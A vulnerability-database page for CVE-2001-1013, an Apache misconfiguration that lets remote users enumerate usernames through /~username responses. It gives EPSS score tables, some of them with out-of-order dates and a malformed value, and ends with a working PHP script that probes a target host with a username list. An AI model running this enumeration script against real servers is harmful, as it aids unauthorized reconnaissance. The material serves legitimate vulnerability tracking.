CVE-2001-1013 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	72.01%	–	–
2023-03-12	–	–	–	3.63%	–
2023-09-10	–	–	–	3.63%	–
2024-04-14	–	–	–	3.63%	–
2024-06-02	–	–	–	3.63%	–
2024-12-22	–	–	–	12.27%	–
2025-03-02	–	–	–	12.27%	–
2025-01-19	–	–	–	12.27%	–
2025-03-09	–	–	–	12.27%	–
2025-03-18	–	–	–	–	71.84%
2025-03-18	–	–	–	–	71.84,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	9%
2023-09-10	91%
2024-04-14	92%
2024-06-02	92%
2024-12-22	95%
2025-03-02	96%
2025-01-19	95%
2025-03-09	96%
2025-03-18	99%
2025-03-18	99%

source: https://www.securityfocus.com/bid/3335/info Versions of Apache webserver shipping with Red Hat Linux 7.0 (and possibly other Apache distributions) install with a default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system. http://www.example.com/~<username> When a remote user makes a request for a possible user's default home page, the server returns one of three responses: In a case where <username> is a valid user account, and has been configured with a homepage, the server responds with the user's homepage. When <username> exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server." However, if the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server." Because the server responds differently in the latter two cases, a remote user can test and enumerate possible usernames. Properly exploited, this information could be used in further attacks on the vulnerable hos #!/usr/local/bin/php -q <? /* default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system. By Gabriel A Maggiotti */ if( $argc!=4) { echo "usagge: $argv[0] <host> <userlist> <delay>\n"; return 1; } $host=$argv[1]; $userlist=$argv[2]; $fd = fopen ($userlist, "r"); while (!feof ($fd)) { $user = fgets($fd, 4096); $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30); fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n"); while (!feof ($fp)) { $sniff=fgets($fp,1024); if(strpos($sniff,"permission")!="") { echo "$user exists!!!\n"; break; } } fclose ($fp); sleep(3); } fclose ($fd); ?>